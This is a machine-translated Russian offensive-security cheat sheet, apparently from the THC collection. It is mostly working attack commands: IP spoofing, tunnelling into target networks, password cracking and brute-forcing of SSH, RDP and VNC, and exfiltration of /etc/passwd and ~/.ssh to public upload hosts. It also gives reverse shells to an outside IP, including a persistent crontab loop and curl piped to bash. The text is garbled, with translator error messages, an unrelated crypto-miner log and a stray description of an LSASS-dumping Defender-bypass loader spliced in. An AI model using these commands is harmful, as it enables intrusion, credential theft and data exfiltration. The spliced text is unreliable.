Полезен на хосте внутри целевой сети. Этот инструмент перенастраивает (не оставляя следов) SHELL: любая программа (nmap, cme, ...), запущенная из этой SHELL, будет использовать поддельный IP. Все ваши атаки будут исходить от хоста, который не существует.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)

root@kitploit:~
Это также работает в сочетании с:
 * [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Подключит ваш ROOT-сервер к ЦЕЛЕВОЙ СЕТИ, используя Ghost IP внутри целевой сети.
 * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): Как выше, но менее безопасно.

---
<a id="tunnel-more"></a>
**3.vi.d Различные туннельные трюки**

### Туннелирование через CDN
 * Прочитайте [Как туннелировать любой TCP-сервис через CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) или используйте [DarkFlare](https://github.com/doxx/darkflare).

### Подключите ваш хост напрямую к удалённой сети
 * [WireTap](https://github.com/sandialabs/wiretap) - Работает от пользователя или root. Использует UDP в качестве транспорта. ([Попробуйте](https://thc.org/segfault/wireguard) на segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Использует TCP в качестве транспорта. Отлично работает через [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) или gs-netcat.

### Использование SSH в качестве дешёвого обратного прокси через Cloudflare

Этот метод похож на [HTTPS-обратные туннели](#https), но использует SSH вместо Gost или websocat.
- Преимущество: Использует только *cloudflared* и *SSH* на целевой системе.
- Недостаток: Требуется подписка CF.

 1. Перейдите в свою панель CF -> Zero Trust -> Networks -> Tunnels
 2. Создайте новый туннель 'Cloudflared' с любым именем.
 3. Выберите Debian & 64-bit. Токен показан не полностью. Извлеките "Token", скопировав затенённую область в отдельный документ, чтобы увидеть весь токен (длинные шестнадцатеричные строки после `sudo cloudflared service install <TunnelTokenHere>`).
 4. Добавьте поддомен (в примере используется `ssh.team-teso.net`).
 5. Установите Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

No input text was provided to translate. Please supply the Markdown content for chunk 122.```shell

On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:

ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080

root@kitploit:~
## Сравнение с графовыми базами данных```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

Используйте ProxyChains или GrafTCP для туннелирования других протоколов через обратный прокси.


3.iv. Используйте любой инструмент через Socks Proxy

Создайте туннель от целевой машины до вашей рабочей станции с помощью gsocket:

В сети целевой машины:```sh

Create a SOCKS proxy into the target's network.

Use gs-netcat but ssh -D would work as well.

gs-netcat -l -S

root@kitploit:~
На вашей рабочей станции:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

Использование ProxyChain:```sh

Use ProxyChain to access any host on the target's network:

echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io

Scan the router at 192.168.1.1

proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1

Start 10 nmaps in parallel:

seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}

root@kitploit:~
### Использование GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

3.v. Узнайте свой публичный IP-адрес```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com

root@kitploit:~
Получите информацию о геолокации любого IP-адреса:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Получить информацию об ASN по IP-адресу:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup

root@kitploit:~
Проверьте, работает ли TOR:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

3.vi. Проверка доступности со всего мира

Замечательные люди на https://ping.pe/ позволяют вам выполнить ping/traceroute/mtr/dig/проверку портов хоста со всего мира, проверить TCP-порты, разрешить доменное имя, ...и многое другое.

Чтобы проверить, насколько хорошо ваш (текущий) хост может подключаться к Интернету, используйте OONI Probe:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1

root@kitploit:~
---
<a id="check-open-ports"></a>
**3.vii. Проверка/сканирование открытых портов на IP**

[Censys](https://search.censys.io/) или [Shodan](https://internetdb.shodan.io) — сервис поиска портов:```shell
curl https://internetdb.shodan.io/1.1.1.1

Быстрое (-F) сканирование уязвимостей```shell

Version gathering

nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org

Vulns

nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

root@kitploit:~
Сканирование открытых TCP-портов:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

(См. Hackshell scan)

Простой порт-сканер на bash:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

root@kitploit:~
---
<a id="bruteforce"></a>
**3.viii. Взлом хэшей паролей**

 1. [NTLM2password](https://ntlm.pw/) для взлома (поиска) NTLM-паролей
 2. [wpa-sec](https://wpa-sec.stanev.org) для взлома (поиска) WPA PSK паролей

HashCat — наш основной инструмент для всего остального:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Используя 10-дневную 7-16-символьную hashmask на GPU:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask

-d2 == Use GPU #2 only (device #2)

-O == Up to 50% faster but limits password length to <= 15

-w1 == workload low (-w3 == high)

nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

root@kitploit:~
Взломайте хэши `known_hosts` OpenSSH, чтобы раскрыть IP-адрес:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

👉 Read the FAQ.

Be aware that $6$ hashes are SLOW. Even the 1-минутная хэш-маска на 7–16 символов would take many days on a 8xRTX4090 cluster to complete.

Rent a RTX-4090 GPU-Cluster at vast.ai for $0.40/h and use dizcza/docker-hashcat:cuda (подробнее).

В противном случае используйте Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis или взламывайте на собственных инстансах AWS.

3.xi. Перебор паролей / ключей

Нижеследующее предназначено для перебора (угадывания) паролей ОНЛАЙН-СЕРВИСОВ.

Идиоты с GMail - НАЖМИТЕ ЗДЕСЬ

Вы не можете перебором взломать аккаунты GMAIL.
SMTP AUTH/LOGIN ОТКЛЮЧЁН НА GMAIL.
Все инструменты для перебора GMail и взлома паролей — ФЕЙК.

Все инструменты предустановлены на segfault:```shell ssh [email protected] # password is 'segfault'

root@kitploit:~
(Возможно, вам стоит использовать свой [собственный EXIT-узел](https://www.thc.org/segfault/wireguard))

Инструменты:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [документация](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - отлично подходит для перебора всех SSH-ключей по целевому диапазону IP-адресов.

Списки имен пользователей и паролей:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >ЛЮБИМЕЦ THC<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Set **U**sername/**P**assword list and **T**arget host.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Полезные параметры Nmap:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

root@kitploit:~
Полезные параметры **Ncrack**:```shell
-U "${ULIST}"
-P "${PLIST}"

Полезные параметры Hydra:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login

root@kitploit:~
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

-->```shell

SSH

nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"

root@kitploit:~
## Последние обновления```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

Please provide the Markdown content to translate.```shell

FTP

hydra -P "${PLIST}" -l user "ftp://$T"

root@kitploit:~
No input content was provided for translation. Please supply the chunk text.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

Ввод:```shell

POP3 (email)

nmap -p110,995 --script pop3-brute "$T"

root@kitploit:~
The input chunk is empty — there is no content to translate. Please provide the chunk text.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

I don't see any content to translate. The input appears to be empty. Please provide the chunk text you'd like translated into Russian.```shell

PostgreSQL

nmap -p5432 --script pgsql-brute "$T"

root@kitploit:~
I don't see any source content in the INPUT section to translate. Please provide the chunk text you'd like me to translate.```shell
## SMB (windows)
nmap --script smb-brute "$T"

php ./rpcminer.php configfile.cfg

root@kitploit:~
[+] [01/01/1970 00:00:00] Loaded 99 rpc nodes from cache.
[+] [01/01/1970 00:00:00] Starting rpcminer v2.0.0
[+] [01/01/1970 00:00:00] Using config file: config.cfg
[+] [01/01/1970 00:00:00] Starting to mine. XMR wallet: YOUR_WALLET_HERE
[+] [01/01/1970 00:00:00] Mining on: MoneroOcean
[+] [01/01/1970 00:00:00] Connected to: 10.0.0.1:18081
[+] [01/01/1970 00:00:00] Connection #1 out of 1 live server(s).
[+] [01/01/1970 00:00:00] Submitted share #1 (pool.moneroocean.stream)
[+] [01/01/1970 00:00:00] Submitted share #2 (pool.moneroocean.stream)

Если конфигурационный файл создан, можно запускать код. Он будет сканировать RPC-узлы (по количеству серверов), начиная с первого указанного RPC-сервера, и подключаться к каждому серверу для майнинга, при этом максимальное число сконфигурированных серверов определяет максимальное количество живых подключений, которое вы хотите поддерживать.

root@kitploit:~
RPC Miner is a developer tool that should be treated as such, and its primary purpose is to aid in the research into blockchain RPC providers.
``````shell
## Telnet
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

В этом документе объясняется, как использовать драйвер rtl8019. Этот документ является общественным достоянием.```shell

VNC

nmap -p5900 --script vnc-brute "$T" ncrack -P "${PLIST}" --user root "vnc://$T" hydra -P "${PLIST}" "vnc://$T" medusa -P "${PLIST}" –u root –M vnc -h "$T"

root@kitploit:~
Please provide the Markdown content to translate.```shell
## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run

[!WARNING] ЭТОТ ИНСТРУМЕНТ ПРЕДОСТАВЛЕН ТОЛЬКО ДЛЯ ЦЕЛЕЙ ВНУТРЕННЕГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ. НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К КОМПЬЮТЕРНЫМ СИСТЕМАМ ЯВЛЯЕТСЯ НЕЗАКОННЫМ. АВТОР НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕПРАВОМЕРНОЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ, ПРИЧИНЕННЫЙ ЭТИМ ИНСТРУМЕНТОМ. ИСПОЛЬЗУЙТЕ НА СВОЙ РИСК.

Возможности

  • Патчит AMSI в текущем процессе с использованием как аппаратных точек останова, так и Vectored Exception Handler
  • Клонирует токен родительского процесса (подмена) для запуска от имени SYSTEM
  • Process hollowing легитимного системного бинарного файла (по умолчанию: notepad.exe) в приостановленном режиме
  • Загружает сборки .NET рефлективно из памяти (без записи на диск)
  • Экспортирует MiniDump памяти процесса LSASS с использованием P/Invoke
  • Обходит Защиту от вмешательства (Tamper Protection) Defender, временно устанавливая службе MsMpEng.exe значение SERVICE_DEMAND_START и перезапуская её.
  • Выполняет анхукинг ntdll.dll из чистой копии (с использованием известной техники восстановления DLL)
  • Прямые системные вызовы для перечисления процессов и операций с памятью (обход хуков пользовательского режима)
  • Зашифрованный шеллкод или полезная нагрузка (AES-256-CBC), встроенная как ресурс
  • Обнаружение песочницы с помощью множественных проверок (наличие отладчика, домен, размер диска, ОЗУ, процессы, время работы)
  • Не требует аргументов – просто запустите с правами администратора```shell

HTML basic auth

echo admin >user.txt # Try only 1 username echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one. nmap -p80 --script http-brute --script-args
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly
pentesteracademylab.appspot.com

root@kitploit:~
---
<a id="exfil"></a>
## 4. Загрузка/Скачивание/Экфильтрация данных

Проще всего: наберите `exfil` на [Segfault Root Server](https://thc.org/segfault)

Или используйте curl и запустите собственный [PHP-сервер для экфильтрации](https://github.com/Rouji/single_php_filehost).

<a id="file-encoding"></a>

### 4.i Кодирование файлов

Приём для передачи файла на целевой компьютер, когда у цели нет доступа к Интернету: преобразуйте двоичный файл в ASCII-текст (base64), а затем используйте копирование и вставку. (В качестве альтернативы используйте элитную консоль gs-netcat с `Ctrl-e c`, чтобы передать файл по тому же TCP-соединению.)

Используйте `xclip` (на вашей рабочей станции), чтобы направить закодированные данные прямо в буфер обмена:```shell
base64 -w0 </etc/issue.net | xclip

>>> Кодирование/декодирование UU```sh

uuencode

uuencode /etc/issue.net issue.net-COPY

root@kitploit:~
<details>
  <summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>

> begin 644 issue.net-COPY  
> 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\`  
> `  
> end
</details>```sh
## uudecode (cut & paste the 3 lines from above):
uudecode

>>> base64 encode/decode```sh

base64 -w0 </etc/issue.net

root@kitploit:~
<details>
  <summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
base64 -d >issue.net-COPY

>>> Openssl кодирование/декодирование```sh

openssl base64 </etc/issue.net

root@kitploit:~
<details>
  <summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
openssl base64 -d >issue.net-COPY

>>> xxd кодирование/декодирование```sh

xxd -p </etc/issue.net

root@kitploit:~
<details>
  <summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>

> 4b616c6920474e552f4c696e757820526f6c6c696e670a
</details>```sh
xxd -p -r >issue.net-COPY

4.ii. Передача файлов - с помощью вырезания и вставки

Вставьте в файл на удаленной машине (обратите внимание на <<-'__EOF__', чтобы не испортить табуляцию или $-переменные).```sh cat >output.txt <<-'EOF' [...] EOF ### Finish your cut & paste by typing EOF

root@kitploit:~
---
<a id="xfer-tmux"></a>
### 4.iii. Передача файлов - с помощью *tmux*

Запустите `tmux` на вашей рабочей станции. Подключитесь к целевой системе любым удобным способом (ssh, gs-netcat, ...).

#### С УДАЛЁННОЙ машины на ЛОКАЛЬНУЮ (скачивание)

Используйте [Tmux-Logging](#tmux) для скачивания больших файлов с целевой системы через терминал на вашу рабочую станцию.

#### С ЛОКАЛЬНОЙ машины на УДАЛЁННУЮ (загрузка)

Запустите ваш любимый инструмент декодирования (base64) на УДАЛЁННОЙ машине:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

На вашей рабочей станции, из другого терминала, отправьте данные, закодированные в base64. Они появятся на вашем REMOTE в screen-xfer.txt.```shell tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'

Press 'Ctrl-d' in the receiving terminal.

Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.

Optional: Use 'Ctrl-b ,' to rename the window

root@kitploit:~
---
<a id="file-transfer-screen"></a>
### 4.vi. Передача файлов — с помощью *screen*

#### С удалённого на локальный (скачивание)

Запустите *screen* на локальном компьютере и войдите в удалённую систему из этой оболочки. Укажите локальному *screen* записывать весь вывод в screen-xfer.txt:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Мы используем *openssl* для кодирования данных, но подойдёт любой из описанных выше методов кодирования. Эта команда выведет данные в кодировке base64 в терминал, а *screen* запишет эти данные в *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

Остановите запись дальнейших данных вашим локальным screen:

CTRL-a H

На вашем локальном компьютере декодируйте файл:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt

root@kitploit:~
#### С ЛОКАЛЬНОГО НА УДАЛЁННОЕ (загрузка)

На локальной системе закодируйте данные:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

На удалённой системе (и из текущего screen):```sh openssl base64 -d

root@kitploit:~
Заставьте *screen* считать данные в кодировке base64 в буфер обмена screen и вставьте данные из буфера обмена в удалённую систему:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Примечание: необходимо два CTRL-d из-за [ошибки в openssl](https://github.com/openssl/openssl/issues/9355).

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Передача файлов - с помощью gs-netcat и sftp

Используйте [gs-netcat](https://github.com/hackerschoice/gsocket) и инкапсулируйте протокол sftp внутри него. Обеспечивает доступ к хостам за NAT/брандмауэром.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

Со своей рабочей станции выполните эту команду, чтобы подключиться к SFTP-серверу:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation

root@kitploit:~
Или чтобы выгрузить один файл:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

4.vi. Передача файлов - через HTTPS

Загрузка с сервера на приемник:

На отправителе/сервере:```sh

Spawn a temporary HTTP server and share the current working directory.

python -m http.server 8080 --bind 127.0.0.1 &

alternative: php -S 127.0.0.1:8080

cloudflared tunnel -url localhost:8080

root@kitploit:~
Receiver: Откройте URL в любом браузере, чтобы просмотреть/скачать удалённую файловую систему.

#### 1 - Загрузка с помощью PHP:

На приёмнике:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

На стороне отправителя:```posh

Set a function:

up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }

upload files like so:

up warez.tar.gz up /etc/passwd

root@kitploit:~
#### 2 - Загрузка с помощью PYTHON:

На принимающей стороне:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

На стороне отправителя:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'

root@kitploit:~
---
<a id="download"></a>
### 4.vii. Скачивание файла без curl

Используя Python, скачайте только:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

Пример: установка gsocket с помощью purl:```sh

cut & paste the above purl() function into your bash. Then cut & paste the following:

source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct

root@kitploit:~
Используя OpenSSL, скачайте только:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

используя Perl, только скачивание:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }

lurl ipinfo.io

root@kitploit:~
Используя bash, скачайте только:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

4.viii. Передача файлов с использованием публичного дампа

Скопируйте и вставьте в ваш bash:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }

root@kitploit:~
затем загрузите файл или каталог:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

Список наших любимых публичных сайтов для загрузки.


4.ix. Передача файлов с помощью rsync

Идеально подходит для синхронизации большого количества каталогов или возобновления прерванных передач. В примере каталог 'warez' передаётся Получателю через одно TCP-соединение от Отправителя к Получателю.

Получатель:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach

root@kitploit:~
Отправитель:```posh
rsync -av warez rsync://1.2.3.4:31337/up

То же самое с шифрованием (OpenSSL):

Получатель:```posh

use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)

openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

root@kitploit:~
Отправитель:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Rsync можно комбинировать для эксфильтрации через https / cloudflared raw TCP-туннели.
(Для эксфильтрации из Windows используйте rsync.exe из пакета gsocket для Windows). Более шумное решение — syncthing.

Совет профи: Ленивые хакеры просто вводят exfil на segfault.net.


4.x. Передача файлов — с использованием WebDAV

На принимающей стороне (например, segfault.net) запустите Cloudflare-Tunnel и WebDAV:```sh cloudflared tunnel --url localhost:8080 &

[...]

+--------------------------------------------------------------------------------------------+

| Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |

| https://example-foo-bar-lights.trycloudflare.com |

+--------------------------------------------------------------------------------------------+

[...]

wsgidav --port=8080 --root=. --auth=anonymous

root@kitploit:~
На другом сервере:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Получите доступ к общему ресурсу из Windows (чтобы перетаскивать файлы) в Проводнике:``` \example-foo-bar-lights.trycloudflare.com@SSL\sources

root@kitploit:~
Или смонтируйте общий ресурс WebDAV в Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.xi. Передача файлов в Telegram

Существует множество сервисов для загрузки файлов, но TG — удобная альтернатива. Получите TG-Bot-Token у TG BotFather. Затем создайте новую группу в TG и добавьте в неё своего бота. Получите chat_id этой группы:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq

If you get only {"ok":true,"result":[]} then remove and add the bot again.

root@kitploit:~
Пожалуйста, предоставьте Markdown-контент для перевода.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

5. Обратная оболочка / Глупая оболочка

Совет: используйте https://www.revshells.com/ 👌

5.i.a. Обратная оболочка с gs-netcat (зашифрованная)

Смотрите 6. Бэкдоры для однострочной команды по развертыванию и доступу к полнофункциональной PTY-оболочке с обратным подключением с помощью https://gsocket.io/deploy.

5.i.b. Обратная оболочка с помощью Bash

Запустите netcat, чтобы прослушивать порт 1524 на вашей системе:```sh nc -nvlp 1524

root@kitploit:~
После подключения [повысьте](#reverse-shell-interactive) свою оболочку до полностью интерактивной PTY-оболочки. Вместо netcat можно также использовать [pwncat-cs](https://pwncat.org/):```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

На удалённой системе эта команда подключится обратно к вашей системе (IP = 3.13.3.7, Port 1524) и предоставит вам приглашение оболочки:```sh

If the current shell is Bash already:

(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)

If the current shell is NOT Bash then we need:

bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

or hide the bash process as 'kqueue'

bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

root@kitploit:~
В качестве альтернативы, на удаленной системе поместите это в `~/.profile` или crontab, чтобы перезапускать connect-back shell (а также предотвращать запуск нескольких экземпляров):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

5.i.c. Обратная оболочка с помощью cURL (зашифрованная)

Используйте curlshell. Это также работает через прокси и когда прямое TCP-соединение с внешним миром запрещено:```sh

On YOUR workstation

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

root@kitploit:~
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

5.i.d Обратный шелл с помощью cURL (открытый текст)

Запустите ncat для прослушивания нескольких подключений:```sh ncat -kltv 1524

root@kitploit:~
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

